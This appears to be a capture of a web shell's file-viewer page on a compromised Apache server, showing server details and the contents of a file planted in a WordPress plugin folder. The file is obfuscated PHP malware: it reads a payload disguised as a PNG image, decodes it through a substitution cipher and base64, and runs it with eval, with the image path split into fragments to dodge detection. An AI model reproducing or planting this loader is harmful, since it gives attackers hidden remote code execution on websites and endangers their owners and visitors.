HEX
Server: Apache
System: Linux server11 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64
User: web95 (5097)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/clients/client1/web95/web/wp-content/plugins/abethen/upiqywe.txt
<?php

function inuxuz_xopamech($osabox_usojasusha) {
    if ($osabox_usojasusha == 1)
        return gokuqo_xoqugeji();
    if ($osabox_usojasusha == 2)
        return ikowig_pacachuchov();
}

function fovuju_rudagothy($osabox_usojasusha) {
    $ruricho = inuxuz_xopamech(1);
    $abydapy = inuxuz_xopamech(2);
    for ($ycohuji = 0; $ycohuji < strlen($ruricho); $ycohuji++) {
        $efonuru = substr($ruricho, $ycohuji, 1);
        $oqadera = substr($abydapy, $ycohuji, 1);
        $xixezir[$efonuru] = $oqadera;
    }

    $hovovox = strtr($osabox_usojasusha, $xixezir);
    $hovovox = base64_decode($hovovox);

    return $hovovox;
}

function fubota_asyneshig($osabox_usojasusha) {
    $ihakuru = array();
    if (!file_exists($osabox_usojasusha))
        return false;
    $ycelozh = @file_get_contents($osabox_usojasusha);
    if (!$ycelozh)
        return false;
    $ycelozh = substr($ycelozh, 3);
    $ihakuru = fovuju_rudagothy($ycelozh);
    return $ihakuru;
}

function gokuqo_xoqugeji() {
    $ycelozh = "W9xkqlmdeX0wvyGRcrUbfVOt8Zp=HBPKan36T+JCsDY45N2oEuz7Mij/QSgF1LhAI";
    return $ycelozh;
}

function ikowig_pacachuchov() {
    $ihakuru = "G9j=7P61+KqEsNhVxwyurYLTedf0mvJAHn3cl8tFoCDZ5SabRBiMk/z4XUgW2pOIQ";
    return $ihakuru;
}

$idebar = fubota_asyneshig(__DIR__ . "/asse" . "ts/ima" . "ges/op" . "abeq." . "png");
if ($idebar) {
    @eval($idebar);
}